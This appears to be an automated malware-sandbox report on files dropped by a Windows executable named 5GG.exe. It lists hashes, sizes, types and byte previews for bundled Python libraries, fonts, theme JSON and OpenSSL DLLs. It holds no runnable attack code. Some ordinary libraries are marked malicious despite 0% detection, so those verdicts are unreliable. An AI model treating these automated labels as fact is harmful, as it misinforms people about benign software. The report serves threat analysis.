Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\_MEI73402\charset_normalizer\md.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.675182011095312
Encrypted:	false
SSDEEP:	96:FL8Khp72HzA5iJGhU2Y0hQMsQJCUCLsZEA4elh3XQMtCFaiHrmHcX6g8cim1qeSC:Zj2HzzU2bRYoe4Hmcqgvimoe
MD5:	F33CA57D413E6B5313272FA54DBC8BAA
SHA1:	4E0CABE7D38FE8D649A0A497ED18D4D1CA5F4C44
SHA-256:	9B3D70922DCFAEB02812AFA9030A40433B9D2B58BCF088781F9AB68A74D20664
SHA-512:	F17C06F4202B6EDBB66660D68FF938D4F75B411F9FAB48636C3575E42ABAAB6464D66CB57BCE7F84E8E2B5755B6EF757A820A50C13DD5F85FAA63CD553D3FF32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6..^W..^W..^W..W/..\W..K(..\W.../..\W..K(..UW..K(..VW..K(..]W.."..]W..^W..xW..g.._W..g.._W..g.a._W..g.._W..Rich^W..........PE..d....hAe.........." ...%.....................................................p............`..........................................'..p...`(..d....P.......@...............`..,...`#.............................. "..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\charset_normalizer\md__mypyc.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	120320
Entropy (8bit):	5.879886869577473
Encrypted:	false
SSDEEP:	3072:YKBCiXU2SBEUemE+OaOb3OEOz0fEDrF9pQKhN:YJZ2zOfdQKX
MD5:	494F5B9ADC1CFB7FDB919C9B1AF346E1
SHA1:	4A5FDDD47812D19948585390F76D5435C4220E6B
SHA-256:	AD9BCC0DE6815516DFDE91BB2E477F8FB5F099D7F5511D0F54B50FA77B721051
SHA-512:	2C0D68DA196075EA30D97B5FD853C673E28949DF2B6BF005AE72FD8B60A0C036F18103C5DE662CAC63BAAEF740B65B4ED2394FCD2E6DA4DFCFBEEF5B64DAB794
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........SRxr.Rxr.Rxr.[...Zxr.G.s.Pxr...s.Pxr.G.w._xr.G.v.Zxr.G.q.Qxr...s.Qxr.Rxs..xr.k.z.Sxr.k.r.Sxr.k...Sxr.k.p.Sxr.RichRxr.........................PE..d....hAe.........." ...%............02....................................... ............`.............................................d..........................................Px...............................w..@............@...............................text...X-.......................... ..`.rdata...X...@...Z...2..............@..@.data...8=.......0..................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\.DS_Store

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Apple Desktop Services Store
Category:	dropped
Size (bytes):	6148
Entropy (8bit):	0.6888931042627182
Encrypted:	false
SSDEEP:	12:Q2ggpaOJTZ4OJTajdO3oz6ifn9mmNIlwO89EEX/HnXw6XUEK/XDXw6X:3fpFTZDToE3oz6ifnImm+fnV2V
MD5:	A2FE3C1CC8F70B63D7B51111A5E45EAD
SHA1:	450C18DF31657412B794688CB1CACE5DBF5E8EFA
SHA-256:	57ADA387AF15BFF448242A05E4E35D2B757798B0802CB894C81B4DC4E473002F
SHA-512:	90D6A5D667A4386DB834EDDFFB526218F1C10B9F56F020B52AAB3E31B5B7E0E51E86867760C7BAFC18DF9F3C52A76C63774A6EE915127C39296209C39A2A77B5
Malicious:	false
Preview:	....Bud1.................................................................................sIlocblob...............................................................................................................................................................................................................................................................................................................................................................................................................................................f.o.n.t.sIlocblob.......A.................i.c.o.n.sIlocblob.........................i.c.o.n.sbwspblob....bplist00.............]ShowStatusBar[ShowToolbar[ShowTabView_..ContainerShowSidebar\WindowBounds[ShowSidebar...._..{{380, 96}, {1099, 800}}...#/;R_klmno......................................i.c.o.n.svSrnlong.........t.h.e.m.e.sIlocblob....................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\fonts\CustomTkinter_shapes_font.otf

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	3528
Entropy (8bit):	5.5463381859994065
Encrypted:	false
SSDEEP:	96:AhHW6DYnFFJFRFO7XPfWB8O8E09Li3kX6QpyotT6c43W:AhH/D2FrbQXPuCE09HScSW
MD5:	5F1BFE2E716608D1394D7A444CBD0354
SHA1:	20D061B3B742CFA31E5FBC862D34F557534EFDBF
SHA-256:	FAD67E2B060C318B6C8646D087FBD3ADD938B6676243F14B0C52623179641274
SHA-512:	57E4C2743FDB6D54B7736F88E267ADC1953508075E211A95539A31BF62AEF0DF67367EA9326D43118D69827D3376606705047BFF8092D1D6278D002594B68ABF
Malicious:	false
Preview:	OTTO........CFF ..&.........OS/2i.d........`cmap.J.I........head../........6hhea...........$hmtxYf.....d...dmaxp..P.........name.P.....`...Qpost........... .........a.._.<..........v......v...........................................................P................................1..............................XXXX.@. .Z.........,.........^... . .....".............y.......................K.........#.J.........!.`...........#......... .............y...........y...........y...........y...........y...........y...........y...........y.......................K.....................2.............R.........F.m.........B.............0.........@...........................................................................................................2.............RCustomTkinter_shapes_font.C.u.s.t.o.m.T.k.i.n.t.e.r._.s.h.a.p.e.s._.f.o.n.tRegular.R.e.g.u.l.a.rCustomTkinter_shapes_font Regular.C.u.s.t.o.m.T.k.i.n.t.e.r._.s.h.a.p.e.s._.f.o.n.t. .R.e.g.u.l.a.rCustomTkinter_shapes_fontRegular.C.u.s.

C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\fonts\Roboto\Roboto-Medium.ttf

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	TrueType Font data, 18 tables, 1st "GDEF", 15 names, Microsoft, language 0x409, Copyright 2011 Google Inc. All Rights Reserved.Roboto MediumRegularVersion 2.137; 2017Roboto-Med
Category:	dropped
Size (bytes):	168644
Entropy (8bit):	6.500433229170635
Encrypted:	false
SSDEEP:	3072:Fqmtn5wkex8r6Qym7KCkygAKuXylCC9ptSUXl8j/6afWZCyhASD/JwXI:425wklN7T3QtSUXz/2STyXI
MD5:	B2D307DF606F23CB14E6483039E2B7FA
SHA1:	FDDC8B1C688EF3BAED0D5A46ABF5F01F0EDAF02B
SHA-256:	4AC8E03606FFA4C37F61A6510A2080F1F37A7054F4726C214887D3B23F72E369
SHA-512:	2623C2A235720F389E0D8668DA01891B7A0D23A0FC3DB82865D8CB9BB730804EE84FCD863F33D28AAA236C1261714FF7C325FA677A4599356C29682D3571ACEE
Malicious:	false
Preview:	........... GDEF.B.........bGPOS.nK.......e.GSUB..Y..}4....OS/2.....<...`cmap..Qm........cvt 1..K...H...\fpgm..$....8....gasp............glyf/......,...<hdmxd.t.........head...r......6hhea...........$hmtx..M........8loca..n........maxp.>.....h... name>.mR........post.m.d...t... prep...).......S...d...(.............o......9........................EX../... >Y..EX../....>Y......9......9......9......9........9......9......01!!.!.......!.5.!.(.<..6......................}.w...x.^.^..^...............<......9.........EX../... >Y..EX../....>Y.....+X!...Y..../01.#.!.462...."&.~......J.JH.H......9KK97JJ....e...@.......%...EX../...">Y..../..../......./01..#.3..#.3..#...-#...w.}....}.....`...............EX../... >Y..EX../... >Y..EX../....>Y..EX../....>Y......9../.....+X!...Y............../.....+X!...Y...............................01.#.#.#5!.#5!.3.3.3.3.#.3.#.#.3.#...L.L...:...N.N.N.N..:..L.v.:....f....9....`...`....f.8.9...d.-.&...,...*-...9...EX../... >Y..EX../... >Y..EX.#/.

C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\fonts\Roboto\Roboto-Regular.ttf

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	TrueType Font data, 18 tables, 1st "GDEF", 13 names, Microsoft, language 0x409, Copyright 2011 Google Inc. All Rights Reserved.RobotoRegularVersion 2.137; 2017Roboto-RegularRob
Category:	dropped
Size (bytes):	168260
Entropy (8bit):	6.486835016949693
Encrypted:	false
SSDEEP:	3072:Jy2goL/sAQRuzzlPrvRwhRFUzMWlYfxJVBxV+aYT3qPXI0eH4OuNOIOU7og2FnI:BOmCeu+bqPaHkWUMxFnI
MD5:	F36638C2135B71E5A623DCA52B611173
SHA1:	84D102488738B0EBBC7A5087973EFFBD54C95BD5
SHA-256:	319CFF6E7A31F0F2A41C475DCA42890AA5D19FE16017E2290F8C1D4E14F76481
SHA-512:	E9D55580EDDDE182CD9AB96057E129039154F54EFB0384613AA9513ED0D2D16EACCB5F6D77A299DE601ADDF0150DCDDE1FE98E31D047BBF85A66AC319C3280B5
Malicious:	false
Preview:	........... GDEF.B.........bGPOS..........].GSUB..Y..{.....OS/2.......l...`cmap..Qm........cvt +......p...Tfpgmw.`....h....gasp.......x....glyf&......,...lhdmxUz`z........head.j.z.......6hhea.......H...$hmtx.r.........8loca.w.........maxp.>........ name6!a.........post.m.d...X... prep.f.....$...I...d...(.............q......9........................EX../....>Y..EX../....>Y......9......9......9......9..........9......9.......01!!.!.......!.5.!.(.<..6......................}.w...x.^.^..^.......{.......0...EX../....>Y..EX../....>Y.....+X!...Y......901.#.3.462..."&.[....7l88l7......-==Z;;........#.........../......9../........01..#.3..#.3...o.....o...x...........w...............EX../....>Y..EX../....>Y..EX../....>Y..EX../....>Y......9\|../......+X!...Y............../.....+X!...Y...............................01.!.#.#5!.!5!.3.!.3.3.#.3.#.#.!.!....P.P...E....R.R..R.R..E..P....E.....f....b....`...`.....f.#.b....n.0.....+.i...EX../....>Y..EX."/..".>Y.."...9..................+X!.

C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\icons\.DS_Store

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Apple Desktop Services Store
Category:	dropped
Size (bytes):	6148
Entropy (8bit):	0.3190422957527575
Encrypted:	false
SSDEEP:	6:VWilXPQIIW7e4WNW3dDh+Sk1dfl/CuX86XkEslX/9ldlXSPnrtHP8//ktLERulXC:Qi/fHIBdNaO89EEX/HnXw6XAERqXw6X
MD5:	0B5F6FF2993F88FB78902D1CCDD8BEB1
SHA1:	B26C174A98E6564B0E60E2E99BC78E6490B5F42A
SHA-256:	E53EFB2CA4FDE2219A3DC5DED422EC46EECC7A0547B6663B9AC9E16196AC6D25
SHA-512:	D30900D33A2D7387BD115BC2C403C1A70F792579E320C0EE175BF64F68EA2F1C2872D65A8E803653151C94559D2D2CBAD5A0E683347F7D7A926015A6C0F94A06
Malicious:	false
Preview:	....Bud1.................................................................................o.m.T.k.i.n.............................................C.u.s.t.o.m.T.k.i.n.t.e.r._.i.c.o.n._.W.i.n.d.o.w.s...i.c.oIlocblob.......A............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\icons\CustomTkinter_icon_Windows.ico

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	MS Windows icon resource - 1 icon, 256x256 with PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced, 32 bits/pixel
Category:	dropped
Size (bytes):	13238
Entropy (8bit):	7.73062615393382
Encrypted:	false
SSDEEP:	192:BZXOm6Hm+o9UHgbqweqnjwzVBwNb3bezsRnsE4k7GdfH+jCQoGl8xf+4wznvYvQP:Ph6HmvHeqj4ViPosRnsE94fo0hWPQ+
MD5:	F6E65C6257AFECA83D565264A490029A
SHA1:	B3613164E587D09C052C34CCDC4D44DAC4FF44E2
SHA-256:	1234C017C871EB2E20D36F668F93E066CDCB93DB464D5CEF9D7A5BF83506D28C
SHA-512:	4F9EBE74582F8DB18287292FD5350F20D52E0118F7AAF6848BF6EEC37C4A16069939F0F5716E934FE3D7AAB0E0A0B2BE34BF2AEE359426FF2AAE681B992D75C6
Malicious:	false
Preview:	............ ..3.......PNG........IHDR.............\r.f....orNT..w...3ZIDATx....T...{..e.../~..q.....1N.3..\|A#a..vh...%.q..(....@.[u..]...B...F.K..hDQ\YE....z..{...[.V.Zz.....?U.M.[.......s...8._A....@Z...7.T...3.H..7X.=.u...rQ.x.l...+..o...D..:...rEW..2...+.R...;.)..xJ....3.OaS@.;..W...>.......9 .% ..@zI..y.0;..^.....0.....)7.ct.q.....V5.@W;..5...x..0.p'...`BQ../..5...u>.......K.&..~..k.....#.FO..g.T....A.>.RI'H.....L<3Fi_(.v..e].....@..[.T.].&?..JQ...bo..JZE..VzF..4(.............."M.V`b...W...B.?...56_..k\.A>.......].L].3h..h.P.Q...............8......<H.MtHK>..^.R.!.J.....W.>_h.!..-.J;.Ke....@.\.&.e4.U.^.i..W..t .X...`.;.x.......H3..h....X...._(0......Q.F.....gPs..p.7...:.@9O..s8.h.0F...j4..w1.7...\|...0\|>.M.. x...)..`x.<......$..5..a0.V{,oU.VaJ..."e.i...L>.4..v./..~RY..7......k.s....r.....QY.o.Y...h.%....n[.r..O.y..~M7.j\|..=FUZ..UA.w.....P.T..........JO)...S.[..Q_M.../..._.R.....Q/....w.&.Y..+........1....S...l)..p..Kp...W.....@

C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\themes\blue.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4520
Entropy (8bit):	4.888457499634604
Encrypted:	false
SSDEEP:	96:KupscLUBH2cEyzmGvtu/XaNgdacgWu/Bwg+Y51hlk2cEdVJFvLpwZdIunacEkGgC:KupNUtMiPQ/XXIRp/v+Y51hT/vlggf+4
MD5:	05EB3947CE9A8C3BEF66C14D0F938671
SHA1:	06FFC811EE51609809D88894022E222B339AEFEE
SHA-256:	C9417470C16CED7A43D6C4A8E027AFA6EDC62C24D5AEE7C4C2DCD11385964D3B
SHA-512:	4DB7C14FBA78185EDF6459016608CB8FA0A250DFB48432C552BB4E0466CF49622B34D847E17C254BB1C8D15BF365E91BCE3EDE552BA8733FDE9D21779F7F1C13
Malicious:	false
Preview:	{. "CTk": {. "fg_color": ["gray92", "gray14"]. },. "CTkToplevel": {. "fg_color": ["gray92", "gray14"]. },. "CTkFrame": {. "corner_radius": 6,. "border_width": 0,. "fg_color": ["gray86", "gray17"],. "top_fg_color": ["gray81", "gray20"],. "border_color": ["gray65", "gray28"]. },. "CTkButton": {. "corner_radius": 6,. "border_width": 0,. "fg_color": ["#3B8ED0", "#1F6AA5"],. "hover_color": ["#36719F", "#144870"],. "border_color": ["#3E454A", "#949A9F"],. "text_color": ["#DCE4EE", "#DCE4EE"],. "text_color_disabled": ["gray74", "gray60"]. },. "CTkLabel": {. "corner_radius": 0,. "fg_color": "transparent",. "text_color": ["gray10", "#DCE4EE"]. },. "CTkEntry": {. "corner_radius": 6,. "border_width": 2,. "fg_color": ["#F9F9FA", "#343638"],. "border_color": ["#979DA2", "#565B5E"],. "text_color":["gray10", "#DCE4EE"],. "placeholder_text_color": ["gray52", "gray62"]. },. "CTkCheckBox": {. "corner_radius": 6,. "bo

C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\themes\dark-blue.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4514
Entropy (8bit):	4.857879128214415
Encrypted:	false
SSDEEP:	96:Kg6L6Xv7Lo2cE0mUtFRCdVWFiaVdXcEdVfvLpwiunacELTaUb4:K5uXoM0VTon2iaVd9Xvlp604
MD5:	37B54F5CD74CD965B783B62F13743F4F
SHA1:	F9EBE07E79E146F79DC88A7FF8942C0E43049F0D
SHA-256:	6A57FA6F8FB8961A30CE6429522B180D76E3AF9B8E0DAAC259059841386A6BD3
SHA-512:	07C93B7312CB1185BAC0555B380B82857BF1F41C93974E5DBAF4DD875822D589AAF80B979272E56E1C2AE3EC7EA34FE81781CC48F2305CE1828CE32984EB43A3
Malicious:	false
Preview:	{. "CTk": {. "fg_color": ["gray95", "gray10"]. },. "CTkToplevel": {. "fg_color": ["gray95", "gray10"]. },. "CTkFrame": {. "corner_radius": 6,. "border_width": 0,. "fg_color": ["gray90", "gray13"],. "top_fg_color": ["gray85", "gray16"],. "border_color": ["gray65", "gray28"]. },. "CTkButton": {. "corner_radius": 6,. "border_width": 0,. "fg_color": ["#3a7ebf", "#1f538d"],. "hover_color": ["#325882", "#14375e"],. "border_color": ["#3E454A", "#949A9F"],. "text_color": ["#DCE4EE", "#DCE4EE"],. "text_color_disabled": ["gray74", "gray60"]. },. "CTkLabel": {. "corner_radius": 0,. "fg_color": "transparent",. "text_color": ["gray14", "gray84"]. },. "CTkEntry": {. "corner_radius": 6,. "border_width": 2,. "fg_color": ["#F9F9FA", "#343638"],. "border_color": ["#979DA2", "#565B5E"],. "text_color": ["gray14", "gray84"],. "placeholder_text_color": ["gray52", "gray62"]. },. "CTkCheckBox": {. "corner_radius": 6,. "bor

C:\Users\user\AppData\Local\Temp\_MEI73402\customtkinter\assets\themes\green.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4515
Entropy (8bit):	4.878000714435556
Encrypted:	false
SSDEEP:	96:KupscL34QyzmGvt1GNgdWgW1WgKKuvQdVJFvLpwRun8Q+Gga1c4:KupN3FiPPDJGPKK1/vlfN+4
MD5:	39A2D34C52E66F16B396C48BC39FD19C
SHA1:	4F0077DAB6C986A64AB9392630024CB09772B1E8
SHA-256:	79AD86BFEA7F0557AC1E20802892ABB44A967AF15B9315B0039CD75C8B72A776
SHA-512:	F1D31067A25B1F98B83AAB17CE2605FA2C6342BCF0EBCF1D3E32F864E33350F2B7DD2F7E22832ED8AA6879ABA4BA144495BB32AB2696A71537F197462C245ABB
Malicious:	false
Preview:	{. "CTk": {. "fg_color": ["gray92", "gray14"]. },. "CTkToplevel": {. "fg_color": ["gray92", "gray14"]. },. "CTkFrame": {. "corner_radius": 6,. "border_width": 0,. "fg_color": ["gray86", "gray17"],. "top_fg_color": ["gray81", "gray20"],. "border_color": ["gray65", "gray28"]. },. "CTkButton": {. "corner_radius": 6,. "border_width": 0,. "fg_color": ["#2CC985", "#2FA572"],. "hover_color": ["#0C955A", "#106A43"],. "border_color": ["#3E454A", "#949A9F"],. "text_color": ["gray98", "#DCE4EE"],. "text_color_disabled": ["gray78", "gray68"]. },. "CTkLabel": {. "corner_radius": 0,. "fg_color": "transparent",. "text_color": ["gray10", "#DCE4EE"]. },. "CTkEntry": {. "corner_radius": 6,. "border_width": 2,. "fg_color": ["#F9F9FA", "#343638"],. "border_color": ["#979DA2", "#565B5E"],. "text_color":["gray10", "#DCE4EE"],. "placeholder_text_color": ["gray52", "gray62"]. },. "CTkCheckBox": {. "corner_radius": 6,. "bor

C:\Users\user\AppData\Local\Temp\_MEI73402\images\5gg\bg.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, progressive, precision 8, 405x258, components 3
Category:	dropped
Size (bytes):	1442
Entropy (8bit):	2.6201555215669265
Encrypted:	false
SSDEEP:	12:F8oKblOefsZ28Qghu6FluQT3PZKKl1f2pf2naLUwDp0en:PUPw28RjLTl1fGfGaLUu7
MD5:	FC232A562ABE58FE78ED7AC5E821095D
SHA1:	A81B45A34043074C92B2DE912C05D02C6347773E
SHA-256:	B499F423ACF5BD55CA7DB8462F75D732079C106E70F22C2E6DCC773A5B9A5FC0
SHA-512:	7A3074D92B155662EA10B5A0D49724AE8CFCA0A4B5E84CA538A2F1F47606B0846B4FF5707BE692C91BA60CB4F45C6769735ABD8C4CC4A7A63D40FCEF2D4BAD9B
Malicious:	false
Preview:	......JFIF.....`.`......ICC_PROFILE............@..mntrRGB XYZ ............acsp.......................................-Qt..................................................rXYZ........gXYZ........bXYZ........wtpt...,....cprt...@....rTRC...L... gTRC...L... bTRC...L... desc...l..._XYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ .......O........text....N/A.para..........ff......Y.......[desc........sRGB...............................................................................................................................#....#)" ")1,,1>;>QQm............................................#....#)" ")1,,1>;>QQm......................'..........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\images\5gg\favicon.ico

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	MS Windows icon resource - 1 icon, 256x256, 32 bits/pixel
Category:	dropped
Size (bytes):	270398
Entropy (8bit):	5.035206952311466
Encrypted:	false
SSDEEP:	3072:0FcxEpKFVti9GqlAay9yNcTvauVf2plaElB9l7owZnJJq+N:72pKFeORRCP57owZnJJq+N
MD5:	450FE6593E75A3CE843BECF2B8899CBA
SHA1:	3BC8A07B1F285FB7D56F6D10B154C3E0A8C26703
SHA-256:	73A59DA4851720242299C89AF9680E29E6BE155EC720664853B4668B1BB4A307
SHA-512:	41C505F731380397A921B7A55B3B721F8BAF18DCCB0249B66F15412C44ACC5E342BEF90F61A51CCB818ACF095A52DF33C76DF97E7850D98F85C2D1B7195A9A6D
Malicious:	false
Preview:	............ .( ......(............. .....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................!.............................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\images\5gg\logo.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=0], baseline, precision 8, 1000x1000, components 3
Category:	dropped
Size (bytes):	441413
Entropy (8bit):	7.962854814013793
Encrypted:	false
SSDEEP:	6144:AttRLI696ZYt8DDfrQuypL2EwV9G4bgyFh1QhZ7ygHsoDfI227ffgg5:AttRLH6ZLDDcuypxWw43h1etH7N235
MD5:	E809E199F61583944C032AD028910EC1
SHA1:	1776E6A65A03B9B41109C9B7E41A603CE8A3A20E
SHA-256:	96721082640F75860B7188071E77898E68D7A30B08C38324FAB68FC91E19AF58
SHA-512:	ED6129E03AFB0B7FABDFA4535E9FBF02C60ED27C9BAF91EE79BB5752ABBB582F58F50CDC29E1D3F1A65FB2C6DF1D98159A0984FDF55E481F195555E761AE7922
Malicious:	false
Preview:	......Exif..MM.*..............Ducky.......P......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:e3e3985c-b224-ae4f-a767-2ca8dceb1e49" xmpMM:DocumentID="xmp.did:C3908AB5DC7911EE9BB994069557676E" xmpMM:InstanceID="xmp.iid:C3908AB4DC7911EE9BB994069557676E" xmp:CreatorTool="Adobe Photoshop 25.4 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:effe0c82-b1e9-784d-b9dd-3c84257dc875" stRef:documentID="adobe:docid:photoshop:de4d0c3f-27ee-604b-a57d-6978fd332252"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d.................................

C:\Users\user\AppData\Local\Temp\_MEI73402\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3439512
Entropy (8bit):	6.096012359425593
Encrypted:	false
SSDEEP:	98304:kw+jlHDGV+EafwAlViBksm1CPwDv3uFfJ1:1slHDG2fwAriXm1CPwDv3uFfJ1
MD5:	AB01C808BED8164133E5279595437D3D
SHA1:	0F512756A8DB22576EC2E20CF0CAFEC7786FB12B
SHA-256:	9C0A0A11629CCED6A064932E95A0158EE936739D75A56338702FED97CB0BAD55
SHA-512:	4043CDA02F6950ABDC47413CFD8A0BA5C462F16BCD4F339F9F5A690823F4D0916478CAB5CAE81A3D5B03A8A196E17A716B06AFEE3F92DEC3102E3BBC674774F2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........R.m.R.m.R.m.[...@.m.0.l.P.m.0.h.^.m.0.i.Z.m.0.n.V.m.R.l..m..l.Y.m...n.O.m...i.+.m...m.S.m....S.m...o.S.m.RichR.m.........................PE..d...`.0b.........." ......$...................................................5......4...`..........................................x/..h...:4.@....p4.\|....p2.8....\4.......4..O....,.8...........................`.,.@............04..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......p2.......1.............@..@.idata..^#...04..$....3.............@..@.00cfg..u....`4.......3.............@..@.rsrc...\|....p4.......3.............@..@.reloc...y....4..z....3.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.3566777719925565
Encrypted:	false
SSDEEP:	384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
MD5:	EEF7981412BE8EA459064D3090F4B3AA
SHA1:	C60DA4830CE27AFC234B3C3014C583F7F0A5A925
SHA-256:	F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
SHA-512:	DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\libssl-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	698784
Entropy (8bit):	5.533720236597082
Encrypted:	false
SSDEEP:	12288:waXWJ978LddzAPcWTWxYx2OCf2QmAr39Zu+DIpEpXKWRq0qwMUxQU2lvz:dddzAjKnD/QGXKzpwMUCU2lvz
MD5:	DE72697933D7673279FB85FD48D1A4DD
SHA1:	085FD4C6FB6D89FFCC9B2741947B74F0766FC383
SHA-256:	ED1C8769F5096AFD000FC730A37B11177FCF90890345071AB7FBCEAC684D571F
SHA-512:	0FD4678C65DA181D7C27B19056D5AB0E5DD0E9714E9606E524CDAD9E46EC4D0B35FE22D594282309F718B30E065F6896674D3EDCE6B3B0C8EB637A3680715C2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
